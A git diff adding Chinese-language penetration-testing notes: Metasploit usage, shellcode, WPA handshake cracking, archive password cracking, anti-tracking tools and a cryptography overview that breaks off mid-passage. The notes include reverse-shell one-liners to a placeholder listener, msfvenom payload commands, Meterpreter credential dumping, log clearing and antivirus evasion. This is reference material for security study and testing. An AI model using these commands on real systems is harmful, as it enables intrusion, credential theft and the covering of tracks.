协议登录后台. + +![Hikvision IP Camera backend](assets/hikvision_backend.jpg) + +## 防范 + +- . diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Metasploit.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Metasploit.md" new file mode 100644 index 000000000..f610e774b --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Metasploit.md" @@ -0,0 +1,190 @@ +# Metasploit + +该工具存在免费版本 Metasploit Framework 和付费版本 Metasploit Pro, 后者提供了许多实用的专业功能, 可以简化工作流程, 但是天价. +以下内容均以 Metasploit Framework(MSF) 为例. + +## 数据库 + +配置数据库后才能使用工作区相关功能, 可以将部分重要数据自动保存在数据库中, 方便后续使用. + +初次使用 MSF 时可以利用 [msfdb](https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html) 对数据库进行自动初始化, 若自动初始化失败则进行[手动初始化](https://docs.rapid7.com/metasploit/managing-the-database/). 仅支持 [PostgreSQL](https://www.postgresql.org/) 数据库. + +```sh +# Arch/Manjaro +sudo pacman -S postgresql # 安装数据库 +sudo systemctl enable --now postgresql.service # 启用数据库服务 +sudo systemctl status postgresql.service # 检查数据库服务状态 + +# Kali +sudo service postgresql start # 启用数据库服务 +sudo service postgresql status # 检查数据库服务状态 + +msfdb init # 初始化数据库 +msfdb status # 检查数据库服务状态, 包括监听端口 + +msfdb start # 启动数据库 +``` + +其中启动数据库服务和初始化数据库的步骤容易出现错误, 根据提示信息进行故障排除即可. +启动 msfconsole 后可以通过 `db_status` 检查数据库连接状态. + +之后便可以使用数据库相关指令, 关键信息 (如主机/服务/漏洞/战利品) 会被记录到数据库中以便后续查询. + +## 快速入门 + +```sh +# 数据库/工作区 +msf > workspace [name] # 切换工作区 +msf > workspace -a [name] # 添加工作区 +msf > db_nmap [...] # 调用 nmap 进行扫描, 比将结果保存到当前工作区 +msf > db_export -f [format] [file] # 将当前工作区中的数据以指定格式 (通常是 xml) 导出到文件中, 导出结果可能为空, 需要进行检查 + +# 查找/选择 module +msf > search [[type:]keyword] # 搜索 module +msf > use [id/module] # 使用 module, module 的名称或 search 指令结果中的 id +msf > use [id/module] # 显示 module 的详细信息. +msf > setg [option] [value] # 设置默认选项, 避免切换 module 时重复填写不变的参数 + +# 使用 module +msf(module) > options # 显示当前 module 的选项 +msf(module) > info # 显示当前 module 的详细信息 +msf(module) > show [option] # 显示选项的可用选项 +msf(module) > set [option] [id/value] # 设置选项, 选项的值或 show 指令结果中的 id +msf(module) > check # 部分 exploit module 支持, 用于验证 RHOSTS 是否可以被利用 +msf(module) > run # 执行 module + +# 会话管理 +msf > sessions # 列出会话, -l +msf > sessions [id] # 打开会话, -i +msf > sessions -u [id] # 将 shell 升级到 meterpreter + +# 故障排除 +msf > setg LogLevel 5 # 日志详细等级, 范围 1-5 +cat ~/.msf6/logs/framework.log # 查看日志 +msf > debug # 显示诊断信息, 在故障发生后使用 +``` + +更多内容请参考扩展中的 Metasploit Cheat Sheet. + +## 载荷 + +**别名**: 攻击载荷, 有效载荷. + +MSF 中的载荷(payload)共有以下三种: + +- Singles: 包含完整的功能, 不依赖 MSF, 因此不需要通过 exploit/multi/handler 来建立连接. +- Stagers: 小巧可靠, 用于建立连接并接收 Stages. + - bind: 正向连接, MSF 主动尝试与目标中的 stager 建立连接. + - reverse: 反向连接, 目标中的 stager 尝试与 MSF 连接. 可以绕过部分防火墙规则. + - https: 伪装成正常 HTTPS 流量进行通讯. 可以绕过部分防火墙规则且更难被探测器识别. +- Stages: 无大小限制, 包含高级功能. + +在遇见 "载荷" 一词时应结合上下文推断具体含义. +命名规则是 `/[arch]/` 和 `/[arch]//`, 比如 `windows/x64/meterpreter/reverse_tcp` 就代表 Windows 下使用 x64 指令集编写的使用 tcp 协议反向建立连接的 stager, 用于接收 meterpreter 这个 stage. + +### 生成载荷 + +使用 msfvenom (msfpayload 和 msfencode 的替代品) 来生成载荷, 详情请参考[官方教程](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html). +需要根据具体情况 (包括漏洞利用方式, 架构, 系统, 环境, 通讯方式等) 选择合适的载荷/编码器/格式等其他参数. + +```sh +msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=[LHOST] LPORT=[LPORT] rc4password=[password] -f exe -o ~/payload.exe +msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f exe -o ~/payload.exe +msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f elf -o ~/payload + +msfvenom -l payload # 查看载荷, 根据目标进行选择 +msfvenom -l format # 查看格式, 可以是可执行文件/脚本, 也可以只是用于源代码的 shellcode 代码片段 +msfvenom -l encoders # 查看编码器 +``` + +除了上传可执行文件到目标并执行, 也可以直接利用目标上的命令来获取 shell, 然后再将 shell 升级为 meterpreter. + +```sh +bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1 +nc [LHOST] [LPORT] -e /bin/sh +``` + +选择 shell_reverse_tcp 作为载荷并建立连接. + +除了直接生成可执行文件/脚本, msfvenom 也可以直接生成 shellcode. 常用选项: + +- `-a`: 指定架构. +- `--platform`: 指定操作系统. +- `-e`: 指定编码器. +- `-i`: 指定编码次数. +- `-b`: 指定 bad chars. +- `-s`: 指定最大大小. +- `--smallest`: 生成最小的. + +### 建立连接 + +使用 handler 来与目标中的 stager 建立连接, 并上传 stage. + +```sh +msf > use exploit/multi/handler +msf > set payload [id/value] +# ... 设置载荷中的参数 ... +msf > set ExitOnSession false # 建立连接后不结束监听 +msf > run -j # 开始监听并作为后台任务运行, 因为这是一个堵塞操作 +``` + +## [Meterpreter](https://github.com/rapid7/metasploit-payloads) + +Meterpreter 是一种特殊的多功能载荷, 可以动态加载/执行/卸载脚本和插件, 充分利用其功能可以使后渗透攻击变得十分方便. +以下列举几个常用功能: + +```sh +# 权限提升 +meterpreter > getsystem [...] # 自动提权 +meterpreter > steal_token [pid] # 通过窃取拥有更高权限的进程的令牌提权 + +# 获取密码 +meterpreter > load mimikatz # 载入 mimikatz +meterpreter > run post/windows/gather/smart_hashdump # 导出账户密码 hash + +# 清除痕迹 +meterpreter > clearev # 清除应用/系统/安全日志 +meterpreter > timestomp [...] # 编辑文件属性(包括创建/最后修改时间) + +# 使用 module +meterpreter > search type:post # 列出 post module +meterpreter > run [module] # 执行 module, 主要位于 "post/[system]" 下 +``` + +## 故障排除 + +- PostgreSQL 服务启动失败, 原因: "/var/lib/postgres/data" is missing or empty. + + ```sh + sudo -i + su - postgres -c "initdb --locale en_US.UTF-8 -D '/var/lib/postgres/data'" + exit + ``` + +- Meterpreter 会话意外关闭, 返回原因 Died / exploit/multi/handler 无法和目标建立连接 / 目标上的接收器发生段错误, 可能是又以下几个原因导致的: + + - MSF 和 Meterpreter 的版本不兼容: 解决方法是确保版本相同. + - 载荷不匹配: 该问题会导致目标上的 Stagers 发生段错误, exploit/multi/handler 中设置的载荷(类型/系统/架构)与目标上期待的不一致, 解决方法是确保载荷一致. + - 被安全软件终止: 该问题会导致会话成功建立却意外关闭, 可能的解决方法有: + + 1. 转移进程: 通过 `set AutoRunScript "migrate -n explorer.exe"` 在链接建立后立即转移到其他进程, 以规避安全软件的检测. + 2. 混淆: 生成载荷时使用编码器混淆并加密代码, 以规避安全软件对内存中代码的特征检测. 或通过 `set EnableStageEncoding true` 对发送的 stage 进行编码, 以规避安全软件对流量特征的识别. + +- msfdb 初始化数据库失败. 可以使用下面的源安装 `msfdb-blackarch`: + + ``` + [blackarch] + SigLevel = Optional TrustAll + Server = https://mirrors.ustc.edu.cn/blackarch/$repo/os/$arch + ``` + +## 参见 + +- [Metasploit Documentation](https://docs.metasploit.com/). +- [Metasploit Cheat Sheet](https://www.comparitech.com/net-admin/metasploit-cheat-sheet/). +- . +- [mimikatz](https://github.com/ParrotSec/mimikatz). + +## 参考 + +- . diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/PTES.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/PTES.png" new file mode 100644 index 000000000..869e67dfb Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/PTES.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Shellcode.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Shellcode.md" new file mode 100644 index 000000000..5ccd5bb94 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Shellcode.md" @@ -0,0 +1,66 @@ +# Shellcode + +Shellcode 是一小段代码, 在漏洞利用后用于注入到目标程序中执行. 常见的一个功能是获取 shell 因此得名. + +## 编写 + +以下是一段简单的 shellcode 代码: + +```asm +; linux/x86 execve("/bin/sh", 0, 0) 21 bytes +global _start +_start: + xor edx, edx ; argv = 0 + xor ecx, ecx ; envp = 0 + push ecx + push "/sh" + push "/bin" + mov ebx, esp ; pathname = "/bin/sh" + mov al, 0xb ; execve NR + int 0x80 ; syscall +``` + +可以使用在线工具 [Compiler Explorer](https://godbolt.org/) 进行编译, 在 Linux 下可以使用 [NASM](https://www.nasm.us/) 进行编译: + +```sh +nasm -f elf32 shellcode.asm # 编译 +ld -m elf_i386 -o shellcode shellcode.o # 链接 +objdump -d shellcode # 打印反汇编结果 +``` + +设置参数并将系统调用的 NR(number) 写入指定寄存器后触发中断即可. 其他指令集的用法有所不同, 具体使用方式请参考 [Linux 系统调用](https://publicki.top/syscall.html). + +## 定制 + +根据漏洞的具体情况, shellcode 会受到一定限制. 下面将简要说明如何满足这些限制. + +### 限制能使用的字符 + +以常见的 bad char 0x00('\0') 为例, 观察二进制代码会发现 `push "/sh"` 由于参数大小为 24 比特, 因此被当作 imm32. 最后多出的一字节使用 0 填充, 产生了 0x00, 使得该 shellcode 无法作为一个 C-style 的字符串. +将该命令改为 `push "//sh` 即可在不影响程序运行/不增加大小的情况下消除这个 0x00. +传递给 execve 的两个参数也为 0, 这里使用 xor 来将寄存器的值改为 0, 避免直接以 0 作为立即数而导致产生 0x00. + +### 限制长度 + +手工编写专用的 shellcode, 以实现体积最小化. 还可以将体积较大的 shellcode 存放在其他位置(对大小不敏感, 但不能执行), 然后搜索并执行. + +!!! info "CTF" + 可能限制系统调用的使用, 此时需要编写专门的 shellcode 只通过可用的系统调用完成任务. + +## 生成 + +- 利用 [MSF](Metasploit.md) 生成 shellcode, 可定制. +- 利用 [ALPHA3](https://github.com/TaQini/alpha3) 生成由可见字符集构成的 shellcode. +- 利用 [pwntools](https://github.com/Gallopsled/pwntools) 生成特定架构和系统的 shellcode, 不可定制. + + ```py + from pwn import * + context(arch = 'i386', os = 'linux') # linux/x86 + print shellcraft.sh() # 输出 shellcode 汇编代码 + print asm(shellcraft.sh()) # 输出 shellcode 二进制代码 + ``` + +## 参见 + +- [Exploit Database Shellcodes](https://www.exploit-db.com/shellcodes). +- . diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/WPA_\346\217\241\346\211\213\345\214\205\346\224\273\345\207\273.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/WPA_\346\217\241\346\211\213\345\214\205\346\224\273\345\207\273.md" new file mode 100644 index 000000000..e7286853b --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/WPA_\346\217\241\346\211\213\345\214\205\346\224\273\345\207\273.md" @@ -0,0 +1,81 @@ +# WPA 握手包攻击 + +## 手动 + +1. 查看网络设备, 获取无线网卡名称. + + ```sh + iwconfig + ``` + +2. 开启无线网卡监听模式. + + ```sh + sudo airmon-ng start wlan0 + ``` + + 若设备被占用, 执行下列命令来结束占用设备的进程: + + ```sh + sudo airmon-ng check kill + ``` + + 开启监听模式后, 无线网卡名称发生改变. 后面会附加 `mon` (monitor), 即 `wlan0mon`. + + !!! warning + 监听模式开启后的无线网卡将无法访问 Internet, 直到监听模式被关闭. + +3. 监听 Wi-Fi 信号. + + ```sh + sudo airodump-ng wlan0mon + ``` + + 当发现目标 Wi-Fi 时按 `Ctrl+C` 停止扫描. 并记录 BSSID 和 CH 两个参数. + +4. 捕获指定 Wi-Fi 通信内容. + + ```sh + sudo airodump-ng -w [.cap file] -c [CH] --bssid [BSSID] wlan0mon + ``` + +5. 断开指定设备与指定 Wi-Fi 的链接. + + ```sh + sudo aireplay-ng -0 5 -a [BSSID] -c [Target MAC] wlan0mon + ``` + + 目标设备从指定 Wi-Fi 断开链接后将尝试重连, 会向路由器发送握手包. 而第 4 步将会捕获这个握手包. + +6. 当第 4 步提示捕获握手包时按下 `Ctrl+C` 结束监听. + + 此时, 握手包的数据已经被记录在第4步指定的 `.cap` 文件中. + +7. 对 `.cap` 文件中握手包的 hash 进行破解. + + - 使用 Hashcat. (推荐) + + ```sh + aircrack-ng [.cap file] -j [.haccpx file] # 将 .cap 文件转为 hashcat 接受的 .haccpx 文件 + hashcat -m 2500 -a 0 [.hccapx file] [dict file] # 利用 hashcat 进行破解 + ``` + + - 使用 aircrack-ng. + + ```sh + aircrack-ng [.cap file] -w [dict file] + ``` + +8. 关闭无线网卡监听模式. + + ```sh + sudo airmon-ng stop wlan0mon + ``` + + 若第 2 步中结束的进程没有自动恢复, 则需要手动启动. + +## 自动化 + +可以利用 Airgeddon/[wifite2](https://github.com/derv82/wifite2)/[WEF](https://github.com/D3Ext/WEF) 等工具来简化上面的流程. + +![Wi-Fite2 WAP Handshake attack](https://camo.githubusercontent.com/241679fd57d09ce160bbaf04886b896d1d101d405fc4d692954beefc8e477a07/68747470733a2f2f692e696d6775722e636f6d2f4636565068626d2e676966) diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/assets/hikvision_backend.jpg" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/assets/hikvision_backend.jpg" new file mode 100644 index 000000000..9999d9623 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/assets/hikvision_backend.jpg" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/assets/vlc_open_network_stream.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/assets/vlc_open_network_stream.png" new file mode 100644 index 000000000..f63833eb8 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/assets/vlc_open_network_stream.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\216\213\347\274\251\346\226\207\344\273\266.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\216\213\347\274\251\346\226\207\344\273\266.md" new file mode 100644 index 000000000..46dfa87d8 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\216\213\347\274\251\346\226\207\344\273\266.md" @@ -0,0 +1,42 @@ +# 压缩文件 + +!!! info "CTF 伪加密" + RAR 5.0 以前的版本的压缩文件头部和文件头部有用于表示文件是否加密的位, 因此可以通过修改该位来实现伪加密. RAR 5.0 及以后的版本则使用加密头, 其中 Encryption flags 用于表示是否存在密码校验值. + +[John the Ripper](https://github.com/openwall/john) 可以用于提取压缩包的密码 hash 值. +支持提取 hash 值的文件格式非常之多, 这里仅列举几个: + +```sh +zip2john [file] > hashes.txt +rar2john [file] > hashes.txt +perl 7z2john [file] > hashes.txt +``` + +!!! warning + 部分格式文件的提取器是脚本语言编写的, 因此需要使用对应的解释器去执行. + +```sh +john hashes.txt # 进行破解, 会包含破解结果和其他内容 +john hashes.txt --show # 显示破解结果 +``` + +[hashcat](https://github.com/hashcat/hashcat) 可以充分利用硬件性能对 hash 值进行破解. + +```sh +hashcat -m [hash_type_id] -a [attach_mode_id] [file|hash] [dict] +``` + +其中 `hash_type_id` 和 `attach_mode_id` 可以通过 `hashcat --help` 来查看. + +!!! warning + 使用 John the Ripper 提取 hash 值的结果并不只包含 hash 值, 若要传递给 hashcat 使用, 则需先剔除非 hash 的内容. + +[Kraken](https://kraken.nswardh.com/) 是一款 Windows 下破解压缩文件的工具. + +- 支持 zip, rar, 7z 格式的压缩文件. +- 通过字典或规则(长度区间, 前缀后缀, 字符集). +- 破解进度自动保存/可恢复. + +## 参见 + +- [RAR文件格式分析](https://sp4n9x.github.io/2020/04/10/RAR%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/). diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\217\202\350\200\203.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\217\202\350\200\203.md" new file mode 100644 index 000000000..fc73e996f --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\217\202\350\200\203.md" @@ -0,0 +1,8 @@ +# 参考 + +## 网站 + +- [渗透测试执行标准(PTED)](http://www.pentest-standard.org/index.php/Main_Page). +- [ATT&CK](https://attack.mitre.org/). +- [Awesome CTF](https://github.com/apsdehal/awesome-ctf). +- . diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\217\215\350\267\237\350\270\252.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\217\215\350\267\237\350\270\252.md" new file mode 100644 index 000000000..ee00c4990 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\217\215\350\267\237\350\270\252.md" @@ -0,0 +1,110 @@ +# 反跟踪 + +对于未开源的技术或软件, 除非存在其他有效的验证方式, 否则不应假定其具备反跟踪等相关功能. +以下技术和软件均存在局限性. 在使用之前, 必须了解其局限性. + +## 网络 + +### Tor 网络 + +[Tor](https://www.torproject.org/) 一词是 **T**he **O**nion **R**outer 的缩写, 取名洋葱(Onion)是由于数据传输的过程会经过多层加密. 源代码存放在 [Gitlab](https://gitlab.torproject.org/) 上. +经过 Tor 网络传输的数据会经过加密和转发, 因此其具备一定的反跟踪功能. + +弱点: + +- 虽然 Tor 是用于反跟踪的, 但由于 Tor 网络的出口节点的公开的, 因此访问的目标可以得知用户正在使用 Tor 网络. 反而可能使用户成为被密切跟踪的对象[^1]. +- 如果直接接入 Tor 网络, ISP 会得知用户正在使用 Tor 网络. + 因此在部分地区, 直接接入 Tor 网络的行为会被阻断. 可以使用 [Bridge](https://support.torproject.org/censorship/censorship-7/) 来规避检测, 因为这部分 Tor 中继是未公开的. +- 慢, 具体原因请参考 [Why is Tor slow?](https://tails.boum.org/doc/anonymous_internet/tor/slow/index.en.html). +- Tor 只是对数据的传输过程进行了处理, 不妨碍直接对使用 Tor 网络传输数据的软件进行攻击. NSA 曾利用过该方法[^2], 使用 Tor Browser 的防御方法包括使用插件 [NoScript](https://addons.mozilla.org/en-US/firefox/addon/noscript/). +- Tor 无法防御中间人攻击(machine-in-the-middle, MitM), 如果遇到异常现象需要创建新的 ID 来建立新的链路. +- Tor 网络出口处的流量可以被监听, 因此必须使用 TLS 或 SSL 等协议确保和目标之间存在端对端加密. 不应直接通过 Tor 网络传输明文信息. + +更多弱点请参考 [Wikipedia](https://en.wikipedia.org/wiki/Tor_(network)#Weaknesses). +综上所述, Tor 网络虽然提供了匿名服务, 但盲目使用反而会产生更多风险. 用户应该先明确什么情况下可以使用, 以及如何使用, 否则会适得其反. + +[Exonera Tor](https://metrics.torproject.org/exonerator.html) 可以查询指定 IP 在特定日期是否被用作一个 Tor 中继(包含出口节点)和相关信息. + +同时使用 Tor 网络和 VPN 会使情况变得更复杂, 具体方案及其优缺点请参考 [Wiki](https://gitlab.torproject.org/legacy/trac/-/wikis/doc/TorPlusVPN). + +``` +Client <-> Tor Entry (Entry Guard) <-> Tor Relay (Middle Relay) <-> Tor Exit (Exit Node) <-> Server +``` + +常见的使用 Tor 网络情形是用户通过 Tor Browser 浏览网页. + +识别 Tor Browser: + +- 访问者的 IP 是 Tor 网络的出口节点. 若流量经过 Tor 网络后又进行了转发则该方法不适用. +- [Torbutton](https://2019.www.torproject.org/docs/torbutton/). + +其他匿名网络还有: [Freenet](https://freenetproject.org/), [I2P](https://geti2p.net/). + +### 代理 + +可以使用的工具有 [proxychains-ng](https://github.com/rofl0r/proxychains-ng)(仅支持 Unix), 在使用该工具前应充分了解其适用范围和限制. +该工具仅代理 TCP 流量, 且仅支持 SOCKS/HTTP 协议(均使用明文), 或直接转发到本地 Tor 网络代理. + +在配置文件中填写好代理服务器列表后即可启用下面的一个模式: + +- dynamic_chain: 按从上到下的顺序进行代理, 遇到失效的代理则跳过. +- random_chain: 使用随机顺序进行代理, 允许额外指定 `chain_len`. + +!!! info + 可以通过搜索 `free proxies` 或 `free proxy list` 来获取免费代理服务器, 但该方法并不安全. + +### 检查网络环境 + +在配置完网络环境后可以利用以下网站进行简单检测: + +- [Check IP](https://whoer.net/) +- [Check DNS](https://dnsleaktest.com/) +- [Check trackers](https://coveryourtracks.eff.org/) + +### 搜索引擎 + +- [Brave Search](https://search.brave.com/), [隐私协议](https://search.brave.com/help/privacy-policy), Onion. +- [DuckDuckGo](https://duckduckgo.com/), [隐私协议](https://duckduckgo.com/privacy), Onion. +- [SearXNG](https://github.com/searxng/searxng/tree/master), [公开实例](https://searx.space/), 开源. + +## 元数据 + +许多格式的文件的元数据中可能包含隐私, 因此在分享这些文件前应先去除其中的元数据. +可以使用的工具有: + +- [ExifCleaner](https://github.com/szTheory/exifcleaner), GUI, 跨平台, 开源. +- mat2, [CLI](https://0xacab.org/jvoisin/mat2), [Web UI](https://0xacab.org/jvoisin/mat2-web), [GUI](https://gitlab.com/rmnvgr/metadata-cleaner)(Linux), 开源. +- [ExifEraser](https://github.com/Tommy-Geenexus/exif-eraser), Android 6.0+, 只针对图片格式文件. +- [ExifTool](https://github.com/exiftool/exiftool), CLI. `exiftool -all= *.file_extension`. +- Metapho, iOS. + +## 正文和图像 + +文档的正文/图片文件中的图像也可以利用[隐写术](隐写术.md)隐藏数据. +以将文档或图片进行二值化处理, 可以去除隐藏在颜色中的信息. +可以使用的工具有 [ImageMagick](https://imagemagick.org/index.php), 利用 [Color Thresholding](https://imagemagick.org/script/color-thresholding.php) 功能. +还可以使用 OCR 去除隐藏在颜色/像素中的信息. + +## 数据擦除 + +想要单独移除个别文件是是否困难的, 部分软件会在用户不知情的情况下创建副本. +以下方法用于完全擦除磁盘/闪存数据: + +- [nwipe](https://github.com/martijnvanbrummelen/nwipe), 开源. +- [ShredOS](https://github.com/PartialVolume/shredos.x86_64), 开源, 利用 nwipe. +- [hdparm](https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase). + +以上方法适用于支持且能正常工作的存储设备, 如果存储设备不支持或已损坏导致软件无法对正确的位置进行擦除, 可以直接物理销毁. + +## 参见 + +- [Tor Browser](https://www.torproject.org/). +- [Tails](https://tails.boum.org/). +- [Mix network - Wikipedia](https://en.wikipedia.org/wiki/Mix_network). + +## 参考 + +- . + +[^1]: https://web.archive.org/web/20140703215350/http://daserste.ndr.de/panorama/aktuell/nsa230_page-1.html +[^2]: https://www.theguardian.com/world/interactive/2013/oct/04/egotistical-giraffe-nsa-tor-document diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\227\205\346\216\242_802.11_\346\225\260\346\215\256\345\214\205.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\227\205\346\216\242_802.11_\346\225\260\346\215\256\345\214\205.md" new file mode 100644 index 000000000..be01dd420 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\227\205\346\216\242_802.11_\346\225\260\346\215\256\345\214\205.md" @@ -0,0 +1,28 @@ +# 嗅探 802.11 数据包 + +嗅探无线网络中使用 WEP/WPA/WPA2 的数据包, 并将其解密以获取实际通讯内容. 以下以 WPA2 为例. + +解密 WPA2 数据包需要 PSK (pre-shared key) 和握手包, 其中 PSK 可以通过 Wi-Fi 的 SSID 和密码生成. + +1. 捕获握手包. + + 使用 Wireshark 嗅探无线信号, 使用过滤器 `eapol`. + 使客户端加入 Wi-Fi. + 当 Wireshark 显示 EAPOL 协议的数据包时表示双方正在进行握手. + +2. 生成 PSK. + + Wireshark 提供了在线 [PSK 生成器](https://www.wireshark.org/tools/wpa-psk.html), 通过 Wi-Fi 的 SSID 和密码在本地生成 PSK. + +3. 解密. + + 1. 进入 `Edit | Preferences | Protocols | IEEE 802.11`. + 2. 勾选 `Enable decryption`. + 3. 点击 `Decryption key` 旁的 `Edit...`. + 4. 添加一个新密钥, 选择类型 `wpa-psk` 并填入刚刚生成的 PSK. + 5. 保存设置后, Wireshark 将对捕获的数据包进行解密. + +## 参考 + +- . +- . diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/rotor_machines.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/rotor_machines.png" new file mode 100644 index 000000000..283c9806c Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/rotor_machines.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/sym_cipher.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/sym_cipher.png" new file mode 100644 index 000000000..f980a031a Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/sym_cipher.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/vigenere_cipher.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/vigenere_cipher.png" new file mode 100644 index 000000000..309a877cc Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/vigenere_cipher.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/worn_keyboard_of_english_speaker.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/worn_keyboard_of_english_speaker.png" new file mode 100644 index 000000000..8447d383b Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/assets/worn_keyboard_of_english_speaker.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\346\246\202\350\277\260.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\346\246\202\350\277\260.md" new file mode 100644 index 000000000..4364b8cea --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\346\246\202\350\277\260.md" @@ -0,0 +1,195 @@ +# 概述 + +密码学 (Cryptography) 包含以下两部分: + +- 密码编码学 (Cryptologhy): 研究密码体制 (Cryptosystem). +- 密码分析学 (Cryptanalysis): 研究/破译密码. + +## 密码编码学 + +密码系统 (密钥体制) 通常由以下五部分组成: + +1. 消息空间: 所有可能明文的有限集, 通常用 $\cal{M}$ 表示. +2. 密文空间: 所有可能密文的有限集, 通常用 $\cal{C}$ 表示. +3. 密钥空间: 所有可能密钥的有限集, 通常用 $\cal{K}$ 表示. +4. 加密算法: 通常用 E 表示. +5. 解密算法: 通常用 D 表示. + +> 柯克霍夫斯原理 (Kerckhoffs's principle): 即使密码系统的任何细节已为人悉知, 只要密匙未泄漏, 它也应是安全的. + +该原理看上去似乎有悖常理, 但请注意以下几点: + +1. 历史经验证明不公开的系统总是非常脆弱的. +2. 加密算法难以保密. +3. 检验算法是否足够健壮的办法是公开. + +在一个可靠的密码体制中, 唯一需要保密的就是密钥. +因此在后面的讨论中, 加密算法 E 和解密算法 D 将假设已知. + +## 密码分析学 + +破解密码体制的方法有多种, 以下列举几种: + +- 经典密码分析 (Classical Cryptanalysis). + - 数学分析法: 研究加密方法的内部结构. + - 蛮力攻击法: 测试密钥空间中的所有密钥. +- 实施攻击 (Implementation Attack). +- 社会工程攻击 (Social Engineering Attack). + +## TLS + +- 安全套接层 (Secure Sockets Layer, SSL). +- 安全传输层协议 (Transport Layer Security, TLS). +- Private Communications Technology, PCT. + +SSL 1.0 -> SSL 2.0 -> PCT -> SSL 3.0 -> TLS 1.0 + +## 古典密码 + +## 替换密码 (Subsitiution cipher) + +### 凯撒密码 + +对字母进行偏移(shift). + +- $E_n(x) = (x + n) \text{ mod } 26$. +- $D_n(x) = (x - n) \text{ mod } 26$. + +当偏移量 $n = 3$ 时是凯撒密码 (Caesar cipher), 这也意味着凯撒密码不属于密码系统, 因为其没有密钥. + +```rs +fn E(plaintext: &str, key: u8) -> String { + let key = key % 26; + plaintext + .chars() + .map(|c| { + if c.is_ascii_lowercase() { + ((c as u8 - b'a' + key) % 26 + b'a') as char + } else if c.is_ascii_uppercase() { + ((c as u8 - b'A' + key) % 26 + b'A') as char + } else { + c + } + }) + .collect() +} +``` + +### 仿射密码 (Affine cipher) + + + +密钥是一张映射表. +密钥空间大小 $|\cal{K}| = 26!$. + +```cpp +std::string E(std::string_view plaintext, const std::map& key) { + std::string ciphertext; + for (const auto ch : plaintext) + ciphertext.push_back(key.at(ch)); + return ciphertext; +} +``` + +#### 破解 + +攻击模式: 唯密文攻击 (ciphertext-only attack). + +以英文为例, 这种加密方式不会改变原来语言的特征. 因此可以根据语言的特征进行破解, 如: + +1. [英文单词出现频率](https://en.wikipedia.org/wiki/Letter_frequency). +2. 字母组合出现频率, 如 th/an/in/the 等. + +![英语使用者的键盘磨损, 可以推断字母的使用频率](assets/worn_keyboard_of_english_speaker.png){ width=60% style="display: block; margin: 0 auto" } + +可以看出虽然替换密码的密钥空间不小, 